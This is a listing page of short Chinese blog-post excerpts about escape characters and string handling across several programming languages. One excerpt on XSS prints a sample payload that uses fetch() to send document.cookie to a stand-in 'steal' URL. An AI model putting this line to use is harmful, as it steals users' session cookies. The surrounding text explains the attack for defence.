• 2024-11-04在C#中,@符号几种不同的用途
    1、字符串插值:当你在字符串前加上@符号时,你可以在字符串中包含任何字符,包括双引号,而不需要转义。这被称为“verbatim字符串”或“插值字符串”。例如:stringname="World";stringgreeting=$"Hello,{name}!";//字符串插值stringpath=@"C:\ProgramFiles\MyApp";//包
  • 2024-11-03JAVA--java的转义字符(6个常用的 DAY 4*拌面版
    前言:今天,我们来了解一下java语言中常用的6个转义字符(最后附有完整代码)------------------------------分割线--------------------------------------OS:记得每次输入新代码要保存并重新编译一下哦~,(而且是要重新打开控制台编译的)源代码如下: 1.\t:一个制表位,实现对齐的功
  • 2024-10-31基础markdown的编写格式
    所谓的.md文件,实际上就是markdown格式文本。因为在编写readme文档的时候需要使用这个格式进行编写,写devlog的时候也常使用.md转换成.rst格式然后进行编译,所以决定简单学习一下。这里简单整理了一些markdown格式文本常用的格式符号的用法,包括标题,引用,代码块,表格,强调字体,删除下划线
  • 2024-10-24js 富文本转义及反转义(包含vue版本的)
    //js//富文本反转义htmlfunctionescape2Html(str){  vararrEntities={'lt':'<','gt':'>','nbsp':'','amp':'&','quot':'"'};returnst
  • 2024-10-16宽字节注入
    文章目录转义函数宽字节注入单双引号被过滤转义函数magic_quotes_gpc()该函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
  • 2024-10-14Python - 正则表达式转义注意事项
    无论哪种语言,在使用正则表达式的时候都避免不了一个问题,就是在匹配元字符的时候,需要对元字符进行转义,让正则表达式引擎将其当做普通字符来匹配。本文主要以python为例,说明一下转义中需要注意的问题。python的正则表达式中需要转义的元字符有以下几个:.^$*+?\\[]|{}()
  • 2024-09-30XSS攻击类型以及如何防范
    最常见的XSS攻击,是在个人用户名中加入一串js代码,这样当页面加载这个用户名的时候,就会执行这串恶意脚本(存储型XSS)比如 <script>  fetch('http://abc.com/steal?cookie='+document.cookie);//当然现在最好存储在only </script>下面介绍XSS的常见攻击方式类型
  • 2024-09-26C++ 原始字符串(raw string literal )R“(...)“
    C++11可以在代码里嵌入一段原始字符串,该原始字符串不作任何转义,所见即所得。这个特性对于编写代码时要输入多行字符串,或者含带有特殊字符的字符串提供了巨大方便。语法:     R"(...)"记忆点:1.不做任何转义 stringstr="aaa\nbbb\nccc\n"; cout<<str<<endl
  • 2024-09-25<script>中的&为什么需要转义?
    在HTML和JavaScript中,特殊字符如&需要转义主要是因为它们在HTML实体中有特殊的含义。具体来说,&字符在HTML中用于表示实体开始的标记,例如<代表小于号<,>代表大于号>等。因此,如果在HTML文档或JavaScript代码中直接使用&字符,可能会导致HTML解析错误或产生意外的结果。为了避免这种
  • 2024-09-23FreeMarker 禁止自动转义标签-noautoesc
  • 2024-09-17章13——常用类——String类
    String类的继承关系final约束的是不可以指向新的地址空间,但是单个值变化还是可以的课堂练习publicStringintern()方法返回的是常量池的地址(对象)仔细理解String类的内存分配:总结Strings1="a";Strings2=newString("a");两种方式分配内存的方式不同,常量
  • 2024-09-17pikachu靶场的代码审计,和一些危险函数
    对pikachu靶场进行代码审计,审计分析文件上传、命令执行漏洞,越权漏洞,sql注入,xxe漏洞文件上传client:并未对后缀进行判断,只对大小做了验证后端并未进行文件的类型校验,仅仅是生成了一个目录去保存上传的文件同时对文件的保存路径暴露MIMEType只对mime进行了验证,很容易绕过
  • 2024-09-09json.dumps(data.__dict__) 会把中文字符转义为 Unicode 码点
    在Python中,json.dumps()函数会将Python对象序列化为JSON字符串,并默认使用UTF-8编码来处理非ASCII字符。虽然在Python3中,字符串是默认以Unicode形式存储的,但是当json.dumps()将Python字符串转换为JSON格式时,非ASCII字符会自动被转义为Unicode码点(例如\u
  • 2024-08-31php htmlspecialchars()、htmlentities()、addslashes() 的区别
    1差别htmlspecialchars()和htmlentities()唯一的差别是对于不认识的编码是否转义。比如,对于西欧编码ISO-8859-1来说,中文字符是“不认识的编码” 2举个例子说明差别2.1转义不认识的编码有差别$str='中文字符';echo"\nhtmlentities会转义:——\n";echohtmlen
  • 2024-08-15Java学习的第二天
    今天接着上篇的Java内容继续。首先说一下开发Java的注意事项:1、Java开发是以.Java为拓展名,源文件的基本组成是类(class)。2、应用程序的执行入口是main()方法,且有固定的书写模式:publicstaticvoidmain(String[]args){...}.3、严格区分大小写。4、Java方法是以一条条语句
  • 2024-08-15常见转义符学习
    //演示转义符的使用publicclassZhuanYiFu{//编写一个main方法publicstaticvoidmain(String[]ages){// \t:一个制表位,实现对齐的功能 System.out.println("北京\t天津\t上海");//\n:换行符 System.out.println("红楼梦\n三国演义\n西游记");//
  • 2024-08-10转义符和@符号的用法
    staticvoidMain(string[]args){//
  • 2024-07-30正则表达式小记
    转义字符在正则表达式中,某些字符具有特殊的含义,它们被称为元字符或特殊字符。当你希望这些特殊字符按照字面意义匹配文本时,就需要使用转义字符(通常是反斜杠\)来“取消”它们的特殊含义。以下是正则表达式中需要转义的常见特殊字符:反斜杠用于转义其他特殊字符或创建预定义字符
  • 2024-07-22字符串和数字过滤器
    什么是过滤器?实质上就是一个转换函数。变量可以通过“过滤器”进行修改,过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。常用的过滤器有: 1、字符串的过滤器<body>{#当变量未定义时,显示默认字符串,可以缩写为d#}<p>{{name|default('Noname')}}</p>{#单词首
  • 2024-07-20Python中,如何使用反斜杠 “\“分割字符串?
    Python语言使用反斜杠(\)作为转义符,对一些字符进行转义(escape),例如"\n""\r\n"等。所以当Python字符串中如果出现反斜杠,则会自动转义其后的字符。但这会导致一个问题,就是,如果只是把反斜杠作为字符字面(liberal)意义,应该如何处理?如果不使用re模块(regularexpressionmodule),在Py
  • 2024-07-18转义符号
    转义字符;通过\来转变后面字母或者符号的含义\n;换行\b;退格,相当于backspace\r;按下回车键,Windows系统中,回车符是由两个字符表示:\r\n\t;制表符,相当于tab键数值运算示例classYunSuan{ publicstaticvoidmain(String[]args) { /* 转义字符;通过\来转变后面字
  • 2024-07-10【MyBatis】xml 大于|小于|等于 写法及介绍
    在 *.xml 中使用常规的 < > = <= >= 会与xml的语法存在冲突方法一:使用xml原生转义的方式进行转义#字符名称sql符号转义字符大于号>>小于号<<不等于<><>大于等于号>=>=小于等于号<=<=与&&amp;单引号'&apos;双引号""
  • 2024-06-20SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes
     SyntaxError:(unicodeerror)'unicodeescape'codeccan'tdecodebytes报错解释:这个错误通常发生在Python代码中,当你尝试使用包含反斜杠(\)的字符串时。在Python中,反斜杠通常用于开始转义字符序列。例如,\n 代表一个换行符。在字符串前加 r 可以阻止这种转义,但是
  • 2024-06-19Python安全字符串处理工具库之markupsafe使用详解
    概要在Web开发和模版渲染中,处理用户输入的数据时,防止HTML注入是至关重要的。markupsafe 是一个Python库,专门用于确保字符串在插入HTML时的安全性。它提供了一个安全的字符串类型,可以自动转义特殊字符,防止潜在的安全漏洞。本文将详细介绍 markupsafe 库,包括其安装